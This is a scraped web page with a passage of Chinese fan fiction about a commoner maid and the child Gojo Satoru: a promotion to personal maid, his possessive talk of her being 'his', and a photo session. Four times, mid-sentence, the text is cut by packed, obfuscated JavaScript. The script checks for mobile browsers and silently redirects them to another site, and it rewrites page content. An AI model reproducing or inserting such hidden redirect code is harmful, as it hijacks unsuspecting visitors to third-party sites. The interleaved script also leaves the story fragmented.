RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133656|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些没反应过来。 “那是什么意思?” “没什么意思,但不是你以为的那个意思。” “……噢。” 在说什么…… 你放下手,放在膝盖上,“不过您刚才对直哉少爷那样,真的没关系吗?被家主大人知道了,会生气的吧。” “他不会知道。”五条少爷说,拿过你怀里的饼干袋,把里面的饼干倒出来,包好,“就算知道,也没关系。” “为什么?” 五条悟抬起头,用那双被咒术界敬畏的六眼,淡淡地瞥了你一眼。阳光落在他白色的睫毛上,折射出细碎的光。 “因为,”他抬起头,语气里带着一种与年龄不符的、理所当然的漠然: “我是五条悟。” 你看着他的眼睛还有些愣神,五条已经把饼干装好,递给了你。 “以后不要再拿别人的东西了。” 他垂下眸,声音柔软了些,主动拉开你的手,被方巾仔细包住的饼干放在手心。 “听到没有。”他硬邦邦地补了一句,像是为了掩盖刚才那片刻的柔软。 “哦哦。” 你哦哦的收起饼干,其实收不收的无所谓,只要别把你的点心收走就可以。 “那如果再有人要给我东西,我该怎么拒绝?” “你说,我只能收悟少爷的东西。” “喂喂,也太霸道了吧。” 你笑道,收起饼干,“如果是家主大人,难道我也这么说?” “嗯。”他应得理所当然,甚至没有一丝犹豫。 你被他这毫不迟疑的肯定噎了一下,随即更好不掩饰的失笑,“那我会被家主大人责罚的。” “他不会。”五条悟看了你一眼,那双苍蓝的眼睛在渐暗的天色里显得格外清晰,“他管不着。” “太强势了,五条少爷。” 你笑得眼睛都眯起来,站起身朝前走,“刚才还说我是您的这种话,下次不可以哦,不然家主大人是真的会生气的。” “他为什么会生气。” 五条悟平静地说道,“我想要谁,和他没有关系吧。” 你眨巴眨巴眼睛,停下身,弯腰。 “您知道那句话的意思?” “什么话。” “就是……您说我是您的。” 五条悟停下了脚步。 他没有立刻回头,只是站在石阶上,微微侧过脸。 暮色沉沉,将他的轮廓勾勒得有些模糊,唯有那双眼睛,依旧清晰。 “那种话,”他缓缓开口,“不就是字面的意思吗?” “你是我的,是只属于我一个人的存在,不单单是侍女,而是你的所有。你的发丝,你的眼睛,你的视线,你的目光,都要只看着我。” “我不喜欢别人碰我的东西,尤其是禅院。所以你只需要听我的话,收我的东西,待在我看得到的地方。” “至于其他的,他们不重要,也不需要。” “这就是,你是我的,这句话的含义。” 五条悟看向你,一字一句,字字清楚。 在向你解释各种话语上,五条少爷似乎总是耐心的很多。他语气平缓,没有任何不悦,像是仅仅在做着名词解释。 “……” 你低下头,小声噢了一声。不知道为什么,你突然感觉自己的耳垂有些发烫。 五条悟没有离开,而是站在你的对面。 就在你疑惑他为什么还不抬步时,对面的木屐突然朝你迈了一步。 “那你呢。” 他问,声音不高,却因为距离太近而显得格外清晰。 “我……什么?” 你愣神,抬起头。袖口却被攥住小小的一个角。 “……我也是你的吗。” 五条少爷开口,苍蓝色的眼眸注视着你。 “我也是,你唯一的吗?” 10.一直注视着我 22 暮色似乎在这一刻彻底沉静下来。 你看着他那双过于璀璨、苍蓝色的眼眸,看着他轻轻攥住你袖口的、属于少年的手。 你张了张嘴,却发现自己发不出声音了。 好奇怪,你究竟在想什么。 明明只是一个如同哄孩子般的话,现在的你只需要和所有的侍女们一样,说出那句“当然”,就可以轻而易举的答复。 但此时此刻的你,的的确确说不出来什么话。 是因为这双眼睛吗? 明明是上位者的身份,此时此刻拉住你袖口的手却近乎执拗地想要那个答案。 你沉思,你思索,你目不转睛。 目不转睛到最后,迫切的想要移开眼,却怎么也移不开。 这个问题的重量,远超之前所有关于归属的解释。它不再是一个单方面的宣告,而是一个索求。 一个来自五条悟的、近乎笨拙的索求。 “……少爷?”你听到自己干涩的声音。 五条悟没有催促,只是安静地等着,攥着你袖口的手指,无意识地又收紧了一点。 半晌,你垂下眸,点了点头。 “嗯。” 你听见自己说,声音很轻,却很清晰,“您是我唯一的少爷。” 话音落下的瞬间,你感觉到他攥着你袖口的手,几不可察地松了一下。 那双苍蓝的眼睛,有什么极为明亮的东西一闪而过,快得让你抓不住。 五条少爷没有说话,而是松开你的袖子,转而握住你的手。 他的手没比你大。握住你时,带着孩子特有的柔软,却又有着远超年龄的坚定力道。 侍女和少爷只是平缓地走在回去的路上,一高一矮,一黑一白。 “我会记住的。” “嗯……?” “我会记住你刚才说的话。” 你轻笑一声,因为不认识路,所以只是被牵着,一味跟着他走。 “这个有什么好记住的呀,难道您认为在五条家,我还有别的少爷吗?” “不知道。” 五条少爷没有回头,只是牵着你的手继续往前走。 “如果有,就让他们消失。” ……你眨巴眨巴眼睛,有些没理解消失的意思。 但你感受到五条少爷牵着你的手微微收紧了。 “好霸道哦。” 你说,语气里带了一点开玩笑的意味,“小孩子占有欲不要太强啦,会有害身心健康。” “和占有欲没关系。” 他拉着你又走了一个拐角,“这是规则。” “规则?” “嗯。” 他微微点头,“因为你说了,唯一。” “我听到了,也记住了。所以,这句话现在开始生效。” 五条悟握着你的大拇指,月光下,两只一大一小、肤色各异的手紧紧相扣,“直到它失效为止。” “失效?”你下意识地问。 他点头,语气依旧平淡,“比如,你收回这句话的时候。” 他顿了顿,补充道,声音很轻,话语却带着一些重量。 “或者,我决定不要你的时候。” “哇……是指我犯了错事,被家主大人责罚,赶出去吗?” 五条悟回头看了你一眼,“你好像很期待。” “会有一点新奇吧。” 你思索片刻,“虽然家主大人很严厉,但是我很少看见他对侍女那样。如果我被赶出去的话,到底会是什么事这么严重。” 五条悟不轻不重的捏了一下你的手,转过头,“不要想这种事。” “我不会允许有这一天发生。任何可能,我都会提前解决。” 你低头看向五条悟的侧脸。 白色的短发像一只小刺猬,蓝色的晶状体从侧面看异常饱满。 “所以,”他顿了顿,语气放缓了些,“你只需要待在我看得到的地方,做好你该做的事。” “一直只注视着我,就可以了。” “好吗?” 明明是命令式的警告,却不轻不重在后面加了一句反问。 像是刻意要听见你的回答,要从你口中听见肯定式的话语。 你笑出声,拉长着语调,连连说是。 “当然啦——我会一直一直注视着您,不管是您出门的时候,上私塾的时候,吃饭的时候,还是沐浴更衣的时候,我都会目不转睛地,一眨不眨地注视着您哦!” 你故意拉长了语调,带着点促狭的笑意,说得绘声绘色。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152682|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原本以为五条少爷会回头不悦地扫你一眼,结果他只是拉着你的手,点了一下头。 “嗯。” 你甚至好像看见他的唇角上扬了两个像素。 “喂喂……真的假的?” 这次轮到你愣住了。小跑几步,你走在前面,转过身看着他。 “沐浴更衣也可以吗?真的假的,这个难道也可以吗?您不觉得太变态了一点吗?” 你的确有被五条少爷的包容惊到,一连问了好多个问题。 “还好。” 五条少爷平淡地扫了你一眼,“沐浴更衣的时候本身就不会被看见。所以,不影响。” 你若有所思地点点头,好像的确是,从五条少爷记事开始,沐浴方面的事就已经没有侍女服侍了,所以和你也没有任何关系。 比起这个,你还是有些惊叹于五条少爷的包容性。 “好吧。”你轻快道,“但其实我没有那么变态,虽然刚才那些话都是我说的,唔……但是我不会真的事无巨细都注视着您的,所以您放心好了。” 五条悟突然停下脚步,回过头看你。月光下,那双苍蓝的眼睛清晰地映出你有些心虚的脸。 “怎、怎么了?” “你说了会的。” “我、我的意思是,在合理的时间……” “所有时间。” 他打断你,向前走了一小步,“你刚才说的,一直一直,不管什么时候,目不转睛。” 居、居然一字不落地全说出来了! 你有些错愕,向后退了一小步,视线游离,“但……但我只是一个小侍女,还是每次距离最远,站在最后面的远身侍女。” “就算我想看,也很难真的这样吧!” 五条少爷站在你面前,半晌,轻轻点了点头。 “我明白了。” “什……什么,您明白了什么?我都还没有明白……” “没什么。” 他不再解释,只是重新牵起你的手,“走了。” 你愣愣跟在后面,思绪还有些没转过来。 比起这个,你更在意的是,去时十五分钟的路程,此时此刻好像走了接近半个小时。 是错觉吗? 为什么感觉……一直在绕圈子? 11.注视的小少爷 23 你终于知道在禅院时,五条少爷说我明白了,这句话什么意思了。 你看着突然变换的和服花纹,领口两条线的设计十分醒目。 几夜之间,从禅院家回来后,你的身份跨越了两个度,直接成为贴身侍女了! 天啊!! 你愣愣地坐在床上,头发都还乱糟糟的,新的工作服已经放在了你的榻前。 “恭喜。” “侍女长大人!” 你连忙抓住她的脚,抱住腿,呜呜出声。 “我、我真的没有和五条少爷说什么啊!我不知道会突然变成贴身侍女了!我真的没有投机取巧啊呜——!!” 五条家规矩森严,等级与等级之间都有明确的规定。 五条少爷所有的贴身侍女,全部都是有拥有咒力的侍女,非咒术女仆,可也仅可止步于远身二级侍女。 而你,作为最不起眼,身为普通人的你,居然在去了一趟禅院回来后,在某一个风轻云淡的下午,被五条少爷指明晋升为贴身侍女。 跨越了一级远侍和侍女的级别,直接成为了贴身侍女。 虽然这里和禅院不一样,但你作为稍有耳闻的内部人士,还是很清楚这个大变动会引起多少人的关注。 侍女长垂眸看着你匍匐的身子,后退一小步,抽回腿。 “你在说些什么啊。” 侍女长大人有些无言,蹲下身,抬起你的下巴,“你在五条家这些年,工作能力和效率我们都是有目共睹的,晋升贴身侍女,是少爷的决议,也是你应得的。” 她的语气一如既往的平静,你却听出了几丝宽慰的意味。 你眨巴眨巴眼睛,“真、真的吗?就算我经常摸鱼划水也可以吗?” “摸鱼不是正常工作流程么。” 侍女长站起身,抽开腿,把衣服递给你,“换上吧,去少爷那边报道。” 和之前的和服没什么太大区别。 唯一值得一提的,是布料的质量变好了,似乎加了一些防水的材质,花纹也更明显了,不再是像之前那样素素的。 你站在镜子面前,对着镜子不断左顾右盼,领口两条淡金色的丝线,十分漂亮。 果然是天生高级侍女的料! 你对着镜子连连点头,十分满意。 五条少爷刚从训练室回来,你去的时候,他正好被一群侍女围在中间。 银白的发丝还带着训练后的微湿,几缕碎发贴在额前。他周围有三四个侍女,有人捧着毛巾,有人端着茶盏,正在低声询问他的状况。 五条悟的神情和往常一样,平淡、疏离,甚至有些漠然。对那些殷勤的询问,他只是偶尔点一下头,或简短地“嗯”一声作为回应。 你思索是不是应该晚一点再来,毕竟少爷看上去挺忙的。 然而,他的目光穿过人群,已经准确无误地落在了你身上。 短暂的四目相对,你看见他一直在注视着你。 “过来。”他开口。 围绕在他身边的侍女们同时顿了一下,顺着他的视线看过来。 数道目光齐刷刷落在你身上——有惊讶,有审视,还有一些你读不懂的复杂。 嘶…… 你真的应该晚一点再过来的,比起少爷的命令,你更害怕在一群高等侍女中穿梭。 白色的衣裙缓慢从阴影里走出来,一步步穿过那道由目光织成的无形屏障,走到他面前。 “五条少爷。”你垂眸行礼,声音努力保持平稳。 “嗯。” 五条悟回应了一声,转过身没再看你,而是继续同一旁稍显年长的侍女说话。 你迟疑了。 现在是要……做什么来着? 你开始观察周围的高等侍女,身侧那些高等侍女的目光像细密的针,轻轻刺过你的衣角、发梢,以及领口那两道刺目的淡金色丝线。 没有人说话,但空气里那层薄薄的、无形的压力,比任何言语都更让人难以忽视。 你并非没有和她们打过交道,但那个时候身份不一致,她们对待你,也只是像对待一个后辈一样。 而现在,你作为一个普通人,已经一跃两条线,成为和她们一样的贴身侍女了。 作为对异类的疏离,其实你可以接受。 只不过现在这种局面,还是让你稍稍有些…… 面前的五条悟突然转头,他侧过身,那双苍蓝色的眼睛,越过仍在偷偷打量你的众侍女,笔直地望向你。 “愣着做什么。”他语气平平,听不出情绪,“下去。” “哦,哦哦。” 你如释重负,果断退到旁边,和一旁的侍女们站在一起。 原本沉默不语盯着你的高等侍女侧眸看了你一眼,不知道是不是你的错觉,你好像看见她们笑了。 ……不是那种恶意的笑,是一种,是一种,像两个同样做错事的小孩,发现对方也被先生点名叫起来罚站时,交换的那种心照不宣的、带着点庆幸的笑。 “别紧张。” 为首的一个高等侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157797|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女朝你旁边靠了靠,“你是新来的,少爷对你有一些抗拒是正常的。等少爷熟悉你了,就不会对你这么凶了。” 欸…… 你摸摸鼻子。 为什么突然好像变得友善起来了,而且刚刚原来少爷刚才是在凶人吗?完全没听出来啊…… “你是下面来的新侍女吧?小悟少爷很好的,下次你跟我们,我们做什么,你就做什么。这样就不会被批评了。” “是呀。” 另一个侍女接过话头,声音压得更低,带着点过来人的亲切,“小悟少爷虽然看起来冷淡,但其实很好相处的。只要不出错,他不会多说什么。” 她们围着你,七嘴八舌地分享着经验。 好神奇,原来被五条少爷凶一下,就可以立刻换来高等侍女们的好感。 你听着前辈们的话,嗯嗯点头。没注意到不远处的五条悟不知道什么时候已经停下话,目光正落在你身上。 苍蓝色的眼眸透过人群,落在你的脸上。 一直到看见你开始笑着和她们对话,气氛明显缓和起来,五条悟才移开眼,转过身。 临走前五条少爷把你留了下来。 侍女们笑着说是例行询问而已,新来的侍女都会这样,叫你不要紧张。 其实没什么好紧张的,你们都见过这么多次了,不过你还是秉持着好学的态度点点头。 房间里只剩下你们两个人。 五条悟坐在窗边,你拿着托盘,不知道是该上前还是原地等待。 沉默持续了几秒。 你开始认真思考:贴身侍女在这种情况下的标准流程是什么? 端茶?他手边已经有茶了。汇报事务?今天剩下的日程你背得滚瓜烂熟,但他没问你。主动退下?好像也不太对,他还没说下去。 ……所以说,到底为什么要把你单独留下来? “你在想什么。” “……嗯?” 五条悟的声音突然响起,你一个激灵。 “没、没有。”你下意识把托盘往身后藏了藏,“我在等少爷吩咐。” 他看了你几秒,没有拆穿。 “今天为什么不上来?” “……什么?” “今天为什么不上来。” 五条少爷说,“往常这个时候,你已经在我面前,询问我今天一天过得怎么样了。” 欸……这个。 你开始视线游离,之前难道有这么失礼吗? 所以现在是……让你过去的意思? 12.房间的小少爷 24 你磨磨蹭蹭,最后还是站在他面前。 站着主家少爷面前更显失礼,你蹲下身,跪坐在蒲团上。 “我以为……”你垂下眼,声音有些轻,“您其实不太在意这些。” 五条悟没有说话。 窗外的阳光从他肩头移到了膝上,只有那双苍蓝色的眼睛,依然静静地落在你身上。 “不在意的话,”他开口,声音不高,却字字清晰,“就不会问了。” “……” “你不喜欢成为我的贴身侍女吗?” “欸!?” 你有些发愣,抬起头,“怎么突然问这个?” “回答我。” “喜欢啊。” 你听见自己的声音,比预想中更轻,却也更清晰,“怎么会不喜欢。” “贴身侍女的月俸比远身侍女高出一倍不止,而且还有独立的休息间,不用再和四个人挤通铺了。侍女长大人说,每年还有额外的衣料补贴……” 你越说越起劲,没注意到对面那双眼睛正一寸一寸地冷下去。 你立刻打了个转,“还可以和我最喜爱的五条少爷站的更近!我当然喜欢了!” 虽然中间出了一点偏差。 但是你及时刹车回来了。 但五条悟没有接话。 他只是看着你,那双苍蓝色的眼眸里既没有回暖,也没有继续冷却,而是一种你读不懂的情绪。 “……最喜爱的。”他开口,声音不高,像在确认什么。 “那个排名,是第几。” “……欸?” “月俸,独间,衣料补贴。”他一项一项列举,声音没有起伏,“然后才是最喜爱的五条少爷。” 他抬起眼,看向你。 “是第四。” 你张了张嘴,发现自己竟无法反驳。 “……那是因为,”你努力组织语言,“那些是物质基础,是先有那些条件,我才能更好地侍奉少爷……” “所以还是第四。” “……” 你有些无奈,摊摊手,“少爷怎么连这个都要计较嘛……” “……” 五条悟垂下眸,不说话了。 “喂喂,不是吧。”你有些哑然失笑,毕竟这种表情实在不常见,“您、您在难过吗?” “嗯。” “咦…!?真的假的,您在嗯吗?” “嗯。” 这下你真的彻底笑出声了。 绝对没有嘲笑的意思,但是怎么说呢……哎呀,真的很可爱啊。 冷着脸刻意不去看你,嘴上却过分诚实的控诉你的恶性,简直像小猫在喵喵叫一样。 怎么办,真的觉得五条少爷很可爱啊! “拜托,少爷,别露出这样的表情。” 你真的要彻底败下阵来,趴在榻榻米上向上看他的表情,“刚才您可不是这样的,少爷是少爷啊,少爷是不可以露出这么可爱的表情的!您究竟是和谁学的!” 五条悟低头看着你。 你趴在榻榻米上,仰着脸,虽然嘴上说着不可以,但已经一副彻底跪地,缴械投降的姿态。 “你喜欢这样的表情。”他已经下了结论。 “谁、谁说的!我可没有啊!” “直哉就是这样的,你本来要走,最后折返回去了。” 你一下子噎住了。 幼稚视线开始游离了起来。 你继续视线游离,手指无意识地抠着榻榻米的草编边缘。 禅院直哉。那个眼眶红红、咬着嘴唇、明明快哭了还要逞强说“谁哭了”的小少爷。 ……好像,确实,是类似的? “那是因为,”你努力组织语言,“那是因为直哉少爷当时还是个孩子,而且他、他那个是委屈,和少爷您这个不一样……” “哪里不一样。” 五条悟的声音依旧平淡,却带着一种不容敷衍的认真。 你抬起眼,对上他垂落的视线。 那双苍蓝色的眼睛里没有质问,只有一片安静的、等待答案的专注。 你忽然就说不下去了。 哪里不一样呢。 直哉少爷的眼泪,是自尊心受挫时,无法控制的委屈。像一只被雨淋湿还要强撑威风的小猫,让人忍不住想递上手帕。 而他…… 你看着五条悟那双过分清晰的眼睛。 他的难过,是发现自己在排序里只排第四时,只是垂下眼,安静地嗯了一声。 没有质问,没有控诉,甚至没有要求你重新排序。 只是安静地、坦然地,承认自己在难过。 “就是不一样。” 你轻声说,这次没有游离视线,“少爷和他,完全不一样。” 五条悟没有说话,只是看着你。 “直哉少爷的眼泪,是他自己不想掉,却没忍住掉的。” “但少爷的……” 你抿了抿唇,停顿片刻,抬起头,“少爷的难过,是本来可以不让我知道的。” “可是您却让我知道了,所以也一定清楚我不会让他排在第四了。” 你无奈,长叹一口气,“太狡猾了,小小年纪怎么可以这样,您实在是太狡猾了。” 五条悟没接话,只是极其微小的幅度,唇角上扬了一点点。 “是你的喜好太明显了。” 他说,“直哉只是两句话,就把你留住了。” “欸……您到底看到了多少啊,我们都快从禅院回来一周了,您怎么还记得呢!” “从他给你黄色的饼干袋开始。” “饼干袋……” 你思索,回忆了好一会,大惊。 “那不是全看见了吗!” “嗯。” 他应得坦然,没有半分心虚。 你彻底说不出话了。 从禅院直哉抛出那个黄色绒毛袋子开始。那你笑着接过、小心捧在手里、说“谢谢你,直哉少爷”的那一幕。 你和他并排坐在栏杆上、晃着腿咬饼干的那一幕;你因为他快哭了而折返回去、递上手帕的那一幕—— 五条少爷全都看见了! “那您当时……”你艰难地开口,声音有些发涩,“为什么不过来?” 五条悟看了你一眼。 “他给了你饼干。” “你一直都很想吃禅院的饼干。” 你彻底震惊了,甚至为此开始有些钦佩起来。 “天啊……!” 你被惊得好一会说不出话,“少爷您实在是太大度了!您实在是太好了!” 五条悟看着你,那双苍蓝色的眼眸里,没有因为你的赞美而泛起任何波澜。 五条悟想说,他其实不好。 也一点也不大度。 饼干是禅院给的。而你对着他笑,和他并排坐着,晃腿,说话,收他的东西。 每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167990|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒,他都不高兴。 可是他什么都没说。 那些情绪像沉在湖底的石子,被他一颗一颗按下去,按进最深、最暗的地方,不让水面泛起一丝涟漪。 他只是站在拐角的阴影里,看着你。 看着你接过那个黄色的绒毛袋子时,眼睛弯起,闪烁着欣喜。 看着你咬下饼干时,脸颊鼓鼓的,像只偷到松果的松鼠。 看着禅院直哉凑近你说话时,你微微侧过头去听,发尾扫过对方的袖口。 每一秒。 每一帧。 他都看得清清楚楚。 幼年时期的五条悟很难清楚这种情绪究竟是什么,书籍,玩具,用品,所有他想要的,都是唯一且单独的一份。 那些东西从来都不需要他去争取。它们会自己出现在他触手可及的位置,整齐,妥帖,完美——就像为他量身定制的和服,每日按时送达的膳食,那些恭敬垂首、从不敢直视他的侍女。 他是五条悟。 是御三家最耀眼的继承人,是咒术界千年一遇的神子,是被六眼选中、注定要站在所有人之上的存在。 所有人都这么告诉他。 他想要什么,什么就会自己来。 从来如此。 所以,当那份名为“你”的情绪悄然降临时,他不知该如何命名。 他只知道,那天在禅院家的回廊里,看着你接过别人的东西、对着别人笑,他心里那块从未被触碰过的角落,像被一根极细的针刺了一下。 不痛。 但存在。 而且,拔不出来。 后来他想了很久,久到从禅院家回来的车里,久到那天夜里独自躺在床上盯着帐顶,才模模糊糊地意识到: ——原来得到和拥有,不是一回事。 书籍是得到的,玩具是得到的,用品是得到的。 它们可以被取代、被更新、被遗忘。 可你…… 五条悟翻了个身,把半张脸埋进枕头里。 ——你不是得到的。 你是他想要留住的。这份不属于任何情感,和任何“喜欢”“爱”“占有”不同的,是超越情爱的情感。 这个念头太陌生了,陌生到让他有些烦躁。 他是五条悟。 他从来不需要留住任何东西。 可是那个晚上,他还是叫厨房做了饼干,让人放在你房间的桌上。 你甚至没问哪里来的,已经美滋滋地吃起来。 你拿着饼干的笑容和在禅院时,坐在直哉身旁的一模一样。 他并不大度。 想要留住的东西,是有且只有你。 唯一,仅此,没有其他。 用同样其他人能留住你的方式留住你,用同样模具的小饼干覆盖住其他饼干在你脑海中留下的记忆。 所以他并不大度。 和室里,夜色一点点降临,大量的风鱼贯而入,五条悟感觉蒲团上的你瑟缩了一下。 “走吧。” 他站起身,回过神。 “去哪?” “回去。” 他垂眼看向你,那双苍蓝色的眼眸在渐浓的暮色里显得格外平缓。 “天黑了,风变凉了。” 你站起身,整理了一下桌面和蒲团,跟在他身后。 五条少爷伸手,握住你的小拇指。 动作很轻,却很稳,像做过千百次那样自然。 13.发烫的小少爷 25 和你同为侍女的同僚带了一个相机,你过去的时候,她们正围着那个正方形的东西看。 “像小盒子一样呢!”一个侍女说。 “前面的镜子也大大的,只不过上面黑黑的,和其他相机都不一样。”又一个侍女说。 “而且颜色很鲜艳!好漂亮!”第三个侍女说。 你也绕过去,并非没有见过相机,在逢年过节的时候,家族大人都会拉着所有人一起拍一张大合照。尽管因为人数过于庞大,你永远不知道自己具体在照片中的哪一个位置,但面对这样的局面,你还是很开心的。 而现在,居然可以亲眼近距离的见到这个东西了。 身为侍女,这种东西的确不太能用得到,所以在深院里,少见的东西会显得格外稀奇。 “哼哼,这个叫拍立得,是只需要按一下,立刻就会滋滋滋冒出照片的东西哦!” “哇——!” 众人惊叹,你也跟着一起。 作为演示,你也看见了它如何滋滋滋吐出照片。 “不要晃它,像这样,双手捂热乎,然后放一会……看!” 侍女松开手,原本漆黑的图案像被阳光照射后一点点显露出来。 真的出现图片了,好厉害。 因为是休息时间,所以五条少爷对于你们的闲聊和打闹并没有过多话语。 他只是时不时抬眸看一眼你们,然后又继续看手里的书。 同时,对于外界时不时闪起的闪光灯,也没有太大反应。 你转过头,看见一群侍女正对着五条少爷放下拍立得,机口立刻滋滋的吐出来, 好厉害…… 你感叹。 居然这样都不会生气,五条少爷真的脾气好好。 “那个,你,新来的,对,就是你。” 你疑惑了一下,指了指自己。 “对,过来。” 你走过去,侍女们瞬间将你围住,同时把相机递给你。 “你是新开的,就算提了什么失礼的要求,五条少爷也不会责罚你。” “所以,可不可以拜托你去和五条少爷说,问问我们能不能近一点拍照?” “欸……?” 你微愣,“我吗?” 侍女们频频点头,看你的目光都变成了星星眼。 你看看相机,又看看身后的少爷,思索片刻,迟疑的点点头。 你捧着那台拍立得,感觉它比看上去要沉得多。 身后的侍女们还在小声给你打气:“加油!”“我们能不能拍到正脸就看你了!”“相信你!” 你深吸一口气,转过身。 五条悟依然坐在原地,白色的睫毛下垂,遮挡住一半眼眸,浅浅的露出一点蓝色。 “那个,五条少爷。” 你坐过去,相机放在腿上,“可不可以给您拍一张照片?” 五条悟抬起眼,视线在你手中的相机上停留了一瞬,又移开。 “为什么突然要拍照。” “嗯……想要纪念吧。” 你思索了一下,“它出来很快的,机器滋滋滋的就冒出来了,而且非常方便携带。” 五条悟放下手里的书,看着你。 “拍吧。” “欸?我、我吗?” 你想要解释,想说其实是她们想给您拍,但是五条少爷看起来已经摆好了动作。 停顿片刻,你举起相机,透过取景框看向五条悟。 少爷安静地坐在那里,午后的光线从窗口斜斜照进来,在他白色的发丝上镀了一层柔和的光。 五条悟没有动,眨眼的次数都变少了。他只是静静地望着镜头。 或者说,望着镜头后的你。 你的手指按在快门上,却迟迟没有按下。 “怎么了?”少爷微微歪头。 “没什么……” 你小声说,已经按下了快门,“就是觉得,悟少爷现在看起来,很温柔。” 一霎那的亮光,照片定格。 机器刚发出滋滋的声音,身后的侍女们立刻像得到什么许可般,争先恐后冲过来,将五条悟团团围住。 “少爷少爷我们也想要!” “我也是我也是!我也想要和少爷照片!” 争先恐后,乱成一团。 你好不容易从人群中挤出来,掌心牢牢护着相纸,见完好无损,才稍稍松了一口气。 “可以。” 声音从后方传来,你转过身,恰好看见五条悟指着你。 “但是,她来拍。” 前一秒还挤在一团的侍女们立刻分开一条路,纷纷都用期待的目光看着你。 26 你成了五条少爷的御用摄影师,从一开始相纸还有些模糊,曝光,到后面几乎每一张都可以出神图了。 五条少爷大多不会有做姿势的动作,只是允许你们近距离拍照和观察,所以大部分都是抓拍。 但是抓拍,如果对象是少爷的话,也已经非常非常好看了。 每次拍完,他都会淡淡说一句“给我也看看”,然后接过你递来的相纸,盯着显影的过程,直到影像完全浮现。 “五条少爷是不是其实也喜欢拍照?” 他瞥你一眼,相纸放在桌上,“只是确认你有没有把我拍丑。” 这句话居然从五条少爷口中说出。不过比起这个,你更有些惊讶于少爷居然懂得分辨美丑了。 “少爷怎么样都不会丑啊,拍照三要素最重要的就是人像。” 你把目光聚焦在一旁的羽织上,试探性地开口。 “您方便把外套穿上吗?感觉会更好看。” 五条悟看了一眼悬挂的羽织,站起身,四周噤声的侍女立刻上前。 “领口再平一点,对,桌面这个东西我放在一旁,以及后领……” 羽织的后领有一点翻起,你干脆放下相机,手撑在桌面上跪坐起身。 温热的指尖碰到一个软装物的屏障,却在你的指腹继续上前时,那道屏障已经消失不见。 你抚平五条悟后衣的领口,重新坐下。 指尖似乎碰到了又似乎没碰到什么,你没有太在意。 你没注意到周围的侍女一句话都不敢开口了,纷纷屏住呼吸。 你看了看前面几张照片,的确好看,但是嘶……怎么说呢。 你看着少爷圆鼓鼓的小脸蛋,虽然冷脸,但真的又软又圆。 这种照片,会不会有些太不符合年龄了? 小孩子就应该拍一些童真可爱的啊! 你抬头看了看五条悟,又低头看看照片,最后鼓起勇气开口。 “少爷,要不要……试着笑一下?” 空气瞬间凝固了。 侍女们倒吸一口凉气,有人甚至悄悄后退了一步。 侍女让五条家的神子笑一下,这简直是大逆不道。 五条悟抬起眼,那双苍蓝的眼眸直直看着你,面无表情。 “……笑?” 他重复了一遍这个词。 “嗯……算了,我找一些道具。” 你转过身,随便指了一个人,“可以去我房间里的抽屉里第一格拿来一个帽子吗,白色的。” 侍女点点头,立刻退出去。 不多时回来,手里拿着你说的东西,众人都惊呆了。 不是普通的帽子,而是冬季白色,带有两个小耳朵的毛绒帽子。 在场的所有侍女深吸一口气,然后突然—— “太太太太可爱啦五条少爷!!” 求求您一定要戴上呜呜呜!” “少爷戴一次我死也愿意了!” 一窝蜂的,又乱起来了。 五条悟看了一眼侍女手里的帽子,像是小熊或者小猫小豹子的款式,两个耳朵是半圆形的,下面还有带子可以系住。 “不要。” 五条少爷拒绝。 “拜托了拜托了——!少爷,求求您就戴一下吧!”一个侍女说。 “不要。” 五条少爷再一次拒绝。 一个侍女被拒绝,一群侍女哀嚎。 你拿过帽子,稍稍整理了一下,也闪烁着星星点点,“真的不要吗?这个我还没有戴过,是全新的哦!而且戴上会非常非常可爱的! 五条悟看了你一眼,“和新旧没有关系吧。” “而且我已经很可爱了,我不需要再可爱了。” 你被这句话噎得愣了一下,随即忍不住笑出声。 “是是是,少爷本来就非常可爱。” 你顺着他的话点头,手里却还捧着那顶帽子,不死心,“但是……” “你戴。” 五条悟突然开口,嘴角微微翘起,“让我看看有多可爱。” “……欸?” 这次轮到你愣神了。 侍女也若有所思的起哄起来。 “说起来,好像的确可以啊,你的脸一直很小,感觉戴上去也会很可爱。” “嗯……而且眼睛也很大,皮肤白,帽子也是白的。” “头发也黑黑的,和白帽子很适合啊。” 你还没来得及反应,帽子已经被五条悟按在了你头上。 